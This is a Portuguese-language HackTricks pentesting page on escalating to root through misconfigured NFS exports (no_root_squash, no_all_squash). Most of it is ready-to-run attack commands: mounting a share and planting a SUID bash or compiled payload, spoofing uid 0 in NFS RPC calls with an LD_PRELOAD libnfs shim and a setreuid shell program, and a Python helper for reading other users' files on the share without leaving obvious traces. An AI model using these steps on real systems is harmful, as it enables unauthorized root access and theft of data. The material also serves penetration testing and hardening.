8.1 KiB
Leia o arquivo /etc/exports, se você encontrar algum diretório configurado como no_root_squash, então você pode acessá-lo como cliente e escrever dentro desse diretório como se você fosse o root local da máquina.
no_root_squash: Essa opção basicamente dá autoridade ao usuário root no cliente para acessar arquivos no servidor NFS como root. E isso pode levar a sérias implicações de segurança.
no_all_squash: Isso é semelhante à opção no_root_squash, mas se aplica a usuários não-root. Imagine que você tenha um shell como usuário nobody; verifique o arquivo /etc/exports; a opção no_all_squash está presente; verifique o arquivo /etc/passwd; emule um usuário não-root; crie um arquivo suid como esse usuário (montando usando nfs). Execute o suid como usuário nobody e torne-se um usuário diferente.
Escalação de Privilégios
Exploração Remota
Se você encontrou essa vulnerabilidade, pode explorá-la:
- Montando esse diretório em uma máquina cliente e, como root, copiando dentro da pasta montada o binário /bin/bash e dando a ele direitos SUID, e executando a partir da máquina vítima esse binário bash.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
- Montando esse diretório em uma máquina cliente, e como root copiando dentro da pasta montada nosso payload compilado que irá abusar da permissão SUID, dar a ele direitos de SUID, e executar a partir da máquina vítima esse binário (você pode encontrar aqui alguns payloads C SUID).
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Exploração Local
{% hint style="info" %}
Observe que, se você puder criar um túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão remota para explorar essa escalada de privilégios, tunelando as portas necessárias.
O truque a seguir é no caso de o arquivo /etc/exports
indicar um endereço IP. Nesse caso, você não poderá usar em nenhum caso a exploração remota e precisará abusar desse truque.
Outro requisito necessário para que a exploração funcione é que a exportação dentro de /etc/export
deve estar usando a flag insecure
.
--Não tenho certeza se esse truque funcionará se /etc/export
estiver indicando um endereço IP--
{% endhint %}
Truque copiado de https://www.errno.fr/nfs_privesc.html
Agora, vamos supor que o servidor de compartilhamento ainda esteja executando no_root_squash
, mas há algo impedindo que montemos o compartilhamento em nossa máquina de teste de penetração. Isso aconteceria se o /etc/exports
tivesse uma lista explícita de endereços IP permitidos para montar o compartilhamento.
Listar os compartilhamentos agora mostra que apenas a máquina em que estamos tentando obter privilégios é permitida para montá-lo:
[root@pentest]# showmount -e nfs-server
Export list for nfs-server:
/nfs_root machine
Isso significa que estamos presos explorando o compartilhamento montado na máquina localmente a partir de um usuário não privilegiado. Mas acontece que há outro exploit local menos conhecido.
Este exploit depende de um problema na especificação NFSv3 que exige que seja responsabilidade do cliente anunciar seu uid/gid ao acessar o compartilhamento. Assim, é possível falsificar o uid/gid forjando as chamadas NFS RPC se o compartilhamento já estiver montado!
Aqui está uma biblioteca que permite fazer exatamente isso.
Compilando o exemplo
Dependendo do seu kernel, você pode precisar adaptar o exemplo. No meu caso, tive que comentar as chamadas de sistema fallocate.
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Explorando usando a biblioteca
Vamos usar o exploit mais simples:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
Coloque nosso exploit no compartilhamento e torne-o suid root falsificando nosso uid nas chamadas RPC:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
Tudo o que resta é executá-lo:
[w3user@machine libnfs]$ /mnt/share/a.out
[root@machine libnfs]#
Aqui estamos, escalonamento de privilégios local root!
Bônus NFShell
Uma vez com privilégios de root local na máquina, eu queria saquear o compartilhamento NFS em busca de possíveis segredos que me permitissem fazer um pivô. Mas havia muitos usuários do compartilhamento, cada um com seus próprios uids que eu não conseguia ler, apesar de ser root, por causa da incompatibilidade de uid. Eu não queria deixar rastros óbvios, como um chown -R, então criei um pequeno trecho de código para definir meu uid antes de executar o comando de shell desejado:
#!/usr/bin/env python
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
Você pode então executar a maioria dos comandos normalmente, prefixando-os com o script:
[root@machine .tmp]# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
[root@machine .tmp]# ls -la ./mount/9.3_old/
ls: cannot open directory ./mount/9.3_old/: Permission denied
[root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
drwx------ 15 1008 1009 1024 Apr 5 2017 data
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.